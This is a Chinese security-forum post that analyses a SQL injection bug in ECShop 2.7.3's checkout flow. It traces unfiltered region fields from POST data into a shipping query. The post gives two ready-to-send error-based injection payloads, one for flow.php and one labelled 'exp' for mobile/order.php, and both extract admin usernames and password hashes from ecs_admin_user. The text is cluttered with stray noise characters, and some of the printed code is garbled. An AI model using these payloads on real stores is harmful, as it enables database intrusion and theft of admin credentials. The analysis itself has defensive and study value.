找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2239|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。9 N7 x. l# q, m$ U( v' \. k2 H0 a
$ k  z0 G2 A- v# W
    漏洞关键文件:
* U+ G6 L+ ]) s( k7 x* p1 a( [: y* d% P: z9 S7 a
    /includes/lib_order.php
# t! f9 B& b2 V+ E- w, ]4 C+ N2 ~$ N0 K1 @4 Z% F& h6 U
    关键函数:6 @. \' ]% I4 Q' V1 ?' c# z

+ U& y' i0 z( H# ^/ _ 6 p8 @4 B4 g  e" l; ?
8 R$ l/ v9 ?" y) W
01     function available_shipping_list($region_id_list)
  }4 h1 B) e0 O0 x& D) `6 I
$ y- D3 j) B- q. z/ u  P02 { * F6 |2 Q2 B7 w4 t

( [8 ~. |8 c$ ^) K. g03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .   c8 D8 J  ]/ n% Q1 g" [; U7 j; U9 t

! d6 {( P& S7 a0 O+ X( K7 A8 M04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ! x/ C1 r" T" |) Z
2 h" v9 q. V% b- v! A. w3 h
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . * ?9 l8 j+ F1 L4 Y9 F( w

2 Q- p. O; N% m( \06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ' @2 e3 V1 W1 Q: ]# D9 Z0 k

8 J" w5 ^- E- m! D6 k3 e07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 D3 i/ K8 r( k. l1 p. `4 t% k' ?/ E* Y' @' P
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 9 y! S; L7 u# B) e9 [' G; X

! C. {/ _9 }6 K7 A! d5 }2 {09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
- `, q$ p5 B. P: W2 U, T. |* F& J. ^: y7 P
10   2 _  V& _' @- Q6 J. Z

- w4 U9 W3 v. o2 v; m( w11     return $GLOBALS['db']->getAll($sql);
& {5 e( {% v1 {: a- h& h2 u% ]& V+ O1 E. m5 q' z. k9 I: r
12 } ( K1 p: A6 W5 |$ M1 G7 i
$ J" }0 ]+ E. I6 k) k
显然对传入的参数没有任何过滤就带入了查询语句。) j* m5 i; |6 ~& Y

- {, f3 ], s! m9 F# a' X下面我们追踪这个函数在flow.php中:2 J+ _" @: |& N% U1 R
第531行:   & R. U1 I8 y$ b3 j, ]
0 M7 e7 U& R$ ]6 l; F
1 $shipping_list     = available_shipping_list($region); & m0 E# _' o' `& m+ \
/ W/ o. K* v$ u1 A! \5 |7 ~

) ]/ h: v7 [2 @2 o0 Z" B4 B; Y8 A4 K( n1 U0 i! ^

5 K# y' T( r+ p5 x+ {; j+ Z
, |' g7 K, V' a2 A. f% ?$ z再对传入变量进行追踪:
1 R4 s- J1 c$ \- t3 c  L" s0 @2 b6 q) N/ b- t
第530行:   
" ]6 c0 R$ N5 ?' M2 g1 h, Q/ m  @" J. ~, V' `! q; C: M
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
) g2 ]7 g- V4 R% r" J0 y
1 j, T9 c2 a7 Y4 g3 I: E0 J# h 7 D$ G! \9 x0 s# X
" X. B4 `: f, ~. v: ]2 H. ?0 i! h
4 D1 ^4 R1 h3 i% k( H
# E* y% K+ J) g
第473行:        
3 O, F0 I( J* X8 J) m& s$ B& ~& }4 m
1 $consignee = get_consignee($_SESSION['user_id']);
8 P" A( b& \% X. v( N) a
. y: ?* q$ E. i9 e! s到了一个关键函数:1 t" y0 e' s. X4 I' F% g
& ]: H/ l$ C& H9 ~" @7 F; \
/includes/lib_order.php
# A8 X: P- L& V6 `6 j! k& Z8 t
4 K% ]) h) G  T" {- L1 w
8 H! P( h+ g7 a( _  w; d  E# N
7 K* V7 Y5 r1 M# Q( }( R& R
4 a8 A* n5 O" d6 L' ~7 k4 z
2 C3 x* N4 I, B0 D/ u* v2 a, ]1 M01 function get_consignee($user_id) 2 T0 Y  `/ L1 e/ A* i2 ~; }
4 w! w# \2 u+ T+ ]
02 {
4 i0 `6 H4 }; b  c6 ~9 {$ K7 z5 o
' a8 f* Z) M1 p6 Q03     if (isset($_SESSION['flow_consignee']))
6 a& ~+ B3 N1 T/ A
* j! j+ |% {. ]4 j04     { : l8 W  Z3 s7 j# Y# [$ F

* @$ V7 I+ `0 c$ x  ?* ^05         /* 如果存在session,则直接返回session中的收货人信息 */
! l4 ~. _: E- `& B0 k. W
' p9 q: w, E( ^: N( J+ W06   
( M$ a0 R, ?5 O4 h7 y" E* J! }
0 |, n4 L# T2 {) n07         return $_SESSION['flow_consignee']; 0 X# {5 S$ f% w* D+ o5 T

" Q5 X* ^3 j6 E" k3 f08     }
& v4 N/ u/ Z2 a
2 G  p; \" `: h, Y. X+ W09     else
% q% H9 [. E8 L. C8 [6 _$ L: s* k6 j5 I1 o; X
10     {
$ N" v4 L2 L& t+ y; V, K% e; v  S* ]1 Q2 E' @
11         /* 如果不存在,则取得用户的默认收货人信息 */
2 W; a7 \1 _1 T+ M& ~' B3 A' R' Y/ V6 q  X% a
12         $arr = array(); ; |7 _9 P4 j+ N1 ]' x, r! |
  s# [3 I( T, U3 F* O! w0 l, z
13   & y$ ^4 K  h+ x* K- d' j
, t. o( g# N  F& i1 r
14         if ($user_id > 0) / g; N6 U$ O- G- o" G: q

9 o  \: i- }' D$ f" O* D  J" {15         {
2 y3 [6 F2 {. i  S9 ^
, j7 J% y) v! _( V! O16             /* 取默认地址 */
) R; ^- r- q; `. j) Z& ^( n9 `: w5 ^5 `, W2 @
17             $sql = "SELECT ua.*". 8 l' S0 B2 S) k: R) m
# d5 \- L3 ~# \$ U1 o
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' h9 R( Z) m- `- z2 q/ D$ d# j* K7 p9 o# ~
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
/ y' E( @/ h& V5 L) U
1 Q1 k" }) x6 X: w& J20   2 ~* d5 U1 c1 H" E7 O9 S! i

* X7 m4 ]" i, M: L1 n2 b8 X21             $arr = $GLOBALS['db']->getRow($sql); 9 O6 ]# V7 M1 A2 c* A. l+ {! @& m

8 ]8 K# q  I; i' {22         }
. f8 S7 t+ c* X$ u3 e; k  x6 n6 b+ A/ e& T7 f
23   . D+ B3 ?3 i+ k$ s; X# p0 L  E: \

/ q4 ?' X  V7 T) j) g9 T6 _+ k24         return $arr;   s: q& ^0 ]) q2 [

- u+ m+ m$ }6 j4 g3 A, y* r# G25     } 6 o; E: J6 z4 t- |/ U3 Y
# }2 F* B: q. C) w
26 }
$ Q1 R  ]; b4 m; S6 J* j, D3 P
3 N. v$ v" G3 Q" Q2 G$ `显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?& I8 c( ^9 D' k+ I. O

0 X2 G9 t6 Z6 a7 j7 K
3 z& a3 I2 J( {7 H. a/ e, ^; |
+ z& j* l/ X% f" j7 Z关键点:
  c$ @5 o9 y  i: N/ L" c
7 P' K0 M3 F, a6 E+ c# t* N. a5 e第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! P7 ^9 W1 Y+ v1 d
* S8 V. [( _* l- ]/ L: G
这里对传入参数反转义存入$_SESSION中。
( G% y! G# V/ H: [% y0 D2 P9 y: J, Y9 H) Z6 {( B  i# ^: x
' T" m0 @& o2 a8 c
9 A: d$ O+ @+ G/ I) h
然后看下:
6 H$ w! _& J4 \6 C" ~" o  \
4 X# }5 E8 y6 R6 p  {" k- c
4 P. Z" a1 |! U" u: k0 _& l' q3 u$ c; G5 Q& Y
   
$ A' E) v3 x; w! {7 E; }/ n/ g1 |
# M! t0 E' v5 I4 G) w01 $consignee = array(
) e! b. \+ p. A9 t) F9 a! i1 s% Z: E$ n* Z+ y
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 6 k% }! |' k& I1 r

8 T/ S6 J. `/ u6 x6 h3 T* X03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),   ~/ X5 B0 C9 Z- P; T2 c
' x6 E- {; V! R. T
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
# L5 f2 v  t# X% q2 G
! {, {! z- w* I. {. {05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 7 _& \: [* ~. V0 J) ^$ A0 i+ e9 }

$ b9 j0 T% W+ h' b06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 0 y  N% _, A/ q8 _1 _* @

2 l5 n6 ^6 o. T2 l+ j07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
2 @+ M, A7 j7 F4 {0 ]1 I* j# Y1 ?- T  A! `/ x
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ( E* @7 B( y" c; }/ {) l9 B" k7 D

' U3 e) \' M  l9 D6 k09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
& G$ n, E3 \* i* u# }8 e1 Y- ?: ]
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
' p7 @& a$ [, I, H9 r+ r4 h) v; n* Z  P& b, t* t! p& O
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 9 X" ?: U: K) O; G
! o, j+ \. F) {6 w2 _' N* i- C
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), - C  _+ o. S+ n! N! ~
/ B: f9 p; q8 ^% p+ X
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], % r" X& t( ^3 Z* x* Q
; r3 a2 Z: e$ a: R1 o
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], : B& d) Z4 o: ?( N
/ E7 L3 d# h) A+ ?3 @
15     );
, o/ D0 [( \, a' \' q: D
/ [4 Q# z7 s) v* Z; l3 [! Z好了注入就这样出现了。0 E. j/ _7 y9 ~, C0 A
- [. Y* ~, k. H5 J7 }: A
==================, `* H% v+ \  I' f3 q- p0 {- C

2 W% x8 z% w+ o' g7 l$ r注入测试:1 o3 [. n4 _4 F2 ?
1 m4 G0 m! `1 x7 m+ ~# R5 D
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)/ L* U/ B+ N' `9 F

- u% s" D- f0 _  |  g测试程序:ECShop_V2.7.3_UTF8_release1106
( U. K: Z1 |, r- [2 n' c% `( o7 Q" q" z: L* ^
. B. F( f& K8 O, _. Y" S) P

; W! ]* t8 Z) c. I+ @: U( I% i1.首先需要点击一个商品加入购物车
, y- V  x  m. \" |
2 V* B& O! {7 M6 {5 T2.注册一个会员帐号9 c( R2 S6 r+ O! B* v
- f: A4 i' M3 y  P$ n' S) {$ f
3.post提交数据8 A' }  i# }6 e( j
% G) U: H+ ^4 ]" A

/ R4 u7 d3 \6 m! `8 [0 K% B$ H1 u: q# s8 R7 s4 i  f
1 http://127.0.0.1/ecshop/flow.php
  v# M1 u( K8 F+ b7 s  J# \8 f) F  r9 O# r
2   
$ v: r% @  {$ h( ], r1 r
" e: B2 e+ i& v: y( A9 |9 I3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= # E3 b* f' _& g9 E& }/ m0 a
举一反三,我们根据这个漏洞我们可以继续深入挖掘:
$ h* t8 p% B, D  z! l6 U/ G7 K( W8 X9 x2 z' R
我们搜寻关键函数function available_shipping_list()
& v( }' F. G& A+ T8 x5 h1 ]8 R+ b2 W; x: e8 B0 G
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同# [' i- U! o/ G- V6 t
" m$ g7 ~& C* ~  |9 g4 d. s' o& r8 n
利用exp:
) K* N7 i9 \8 r+ H6 U; R" A7 D9 Z3 D2 _  q9 K
1.点击一个商品,点击购买商标! l! i9 p# R; B1 E4 T0 C
5 N1 E" E; a4 N, K
2.登录会员帐号
9 }8 p5 u: @# M+ z/ I
; Q+ p  t* `0 w/ U3.post提交:
" _. h( t* `7 v* r6 U( Y1 E9 W3 `: c( S% ]' ^. X3 b1 B
http://127.0.0.1/ecshop/mobile/order.php- z1 C' [# F# j1 x: r4 f6 w( R
1 q2 S' [8 G+ }; Z- }: a

8 c: _5 Z( X+ g4 k* s9 }/ y! U/ q4 w7 I
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=; J: _- \8 E7 \  D
' U- B; ]3 n- T- E' H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表